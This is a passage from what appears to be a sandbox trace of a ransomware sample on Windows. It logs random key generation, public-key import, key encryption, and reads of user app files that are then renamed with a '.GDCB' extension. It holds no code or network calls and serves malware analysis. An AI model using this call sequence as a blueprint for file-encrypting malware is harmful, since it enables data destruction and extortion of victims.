dwSize=0x4bc0, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0293.150] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml.gdcb")) returned 1 [0293.153] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0293.156] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.159] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.159] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.159] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.159] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.163] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.165] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.165] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.165] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.166] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.168] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab8b0) returned 1 [0293.168] CryptGetKeyParam (in: hKey=0x67ab8b0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.169] CryptEncrypt (in: hKey=0x67ab8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.169] GetLastError () returned 0x0 [0293.169] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.169] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4980) returned 1 [0293.171] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab1f0) returned 1 [0293.171] CryptGetKeyParam (in: hKey=0x67ab1f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.171] CryptEncrypt (in: hKey=0x67ab1f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.171] GetLastError () returned 0x0 [0293.171] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.171] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0293.172] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0293.176] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0293.179] ReadFile (in: hFile=0x504, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285de08, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285de08*=0x475d, lpOverlapped=0x0) returned 1 [0293.211] VirtualAlloc (lpAddress=0x0, dwSize=0x4760, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0293.219] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_withdraw.xml.gdcb")) returned 1 [0293.238] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0293.242] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.244] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.244] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0293.244] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.244] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0293.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.251] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0293.251] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.251] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0293.254] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x67ab230) returned 1 [0293.254] CryptGetKeyParam (in: hKey=0x67ab230, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0293.254] CryptEncrypt (in: hKey=0x67ab230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0293.254] GetLastError () returned 0x0 [0293.254] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.254] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0293.256] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x67ab270) returned 1 [0293.256] CryptGetKeyParam (in: hKey=0x67ab270, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0293.256] CryptEncrypt (in: hKey=0x67ab270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0293.256] GetLastError () returned 0x0 [0293.257] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.257] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0293.258] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd620000 [0293.261] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd630000 [0293.264] ReadFile (in: hFile=0x50c, lpBuffer=0xd630000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0xd630000*, lpNumberOfBytesRead=0x285d8f8*=0xc0d0, lpOverlapped=0x0) returned 1 [0293.273] VirtualAlloc (lpAddress=0x0, dwSize=0xc0d0, flAllocationType=0x3000, flProtect=0x4) returned 0xd740000 [0293.281] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\AppCache\\R1UTJCT7\\15\\Init[1].htm.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\appcache\\r1utjct7\\15\\init[1].htm.gdcb")) returned 0 [0293.323] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0293.326] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.329] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0293.329] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.329] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0293.333] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.336] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0293.336] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.336] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.339] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67aa370) returned 1 [0293.339] CryptGetKeyParam (in: hKey=0x67aa370, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.339] CryptEncrypt (in: hKey=0x67aa370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd600000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd600000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0293.339] GetLastError () returned 0x0 [0293.339] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.339] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.341] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab4b0) returned 1 [0293.341] CryptGetKeyParam (in: hKey=0x67ab4b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.341] CryptEncrypt (in: hKey=0x67ab4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd610000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd610000*, pdwDataLen=0x285e050*=0x100) returned 1 [0293.341] GetLastError () returned 0x0 [0293.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.342] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\speech_onecorereg.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\speech_onecorereg.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.347] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.353] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.353] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.353] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.357] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.359] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.359] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.359] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.360] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.363] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab830) returned 1 [0293.363] CryptGetKeyParam (in: hKey=0x67ab830, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.363] CryptEncrypt (in: hKey=0x67ab830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd620000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd620000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.363] GetLastError () returned 0x0 [0293.363] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.363] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.365] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab2f0) returned 1 [0293.365] CryptGetKeyParam (in: hKey=0x67ab2f0, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.365] CryptEncrypt (in: hKey=0x67ab2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd630000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd630000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.366] GetLastError () returned 0x0 [0293.366] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.366] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Microsoft.Windows.Cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\microsoft.windows.cortana_1.4.8.152_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.370] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4980) returned 1 [0293.374] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.377] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.377] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285e034 | out: pbBuffer=0x285e034) returned 1 [0293.377] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0293.377] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4e48) returned 1 [0293.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.383] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e000 | out: pbBuffer=0x285e000) returned 1 [0293.383] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.383] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.386] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab2b0) returned 1 [0293.386] CryptGetKeyParam (in: hKey=0x67ab2b0, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.386] CryptEncrypt (in: hKey=0x67ab2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd640000*, pdwDataLen=0x285e04c*=0xc8, dwBufLen=0x800 | out: pbData=0xd640000*, pdwDataLen=0x285e04c*=0x100) returned 1 [0293.386] GetLastError () returned 0x0 [0293.386] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.386] CryptAcquireContextW (in: phProv=0x285ded4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ded4*=0x5c4760) returned 1 [0293.388] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ded8 | out: phKey=0x285ded8*=0x67ab330) returned 1 [0293.388] CryptGetKeyParam (in: hKey=0x67ab330, dwParam=0x8, pbData=0x285dec4, pdwDataLen=0x285decc, dwFlags=0x0 | out: pbData=0x285dec4*=0x800, pdwDataLen=0x285decc*=0x4) returned 1 [0293.388] CryptEncrypt (in: hKey=0x67ab330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd650000*, pdwDataLen=0x285e050*=0xc8, dwBufLen=0x800 | out: pbData=0xd650000*, pdwDataLen=0x285e050*=0x100) returned 1 [0293.388] GetLastError () returned 0x0 [0293.388] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.389] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.430] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4e48) returned 1 [0293.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.436] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.436] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0293.436] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0293.436] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0293.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0293.442] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0293.442] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.443] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.445] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab670) returned 1 [0293.445] CryptGetKeyParam (in: hKey=0x67ab670, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.445] CryptEncrypt (in: hKey=0x67ab670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd660000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xd660000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0293.445] GetLastError () returned 0x0 [0293.445] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.445] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0293.447] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x67ab870) returned 1 [0293.447] CryptGetKeyParam (in: hKey=0x67ab870, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0293.447] CryptEncrypt (in: hKey=0x67ab870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd670000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xd670000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0293.448] GetLastError () returned 0x0 [0293.448] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0293.448] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\Microsoft.Windows.Photos_15.618.18170.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.photos_8wekyb3d8bbwe\\microsoft.windows.photos_15.618.18170.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0293.489] CryptAcquireContextW (in: phProv=0x285dee4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dee4*=0x5c4760) returned 1 [0293.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0293.495] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 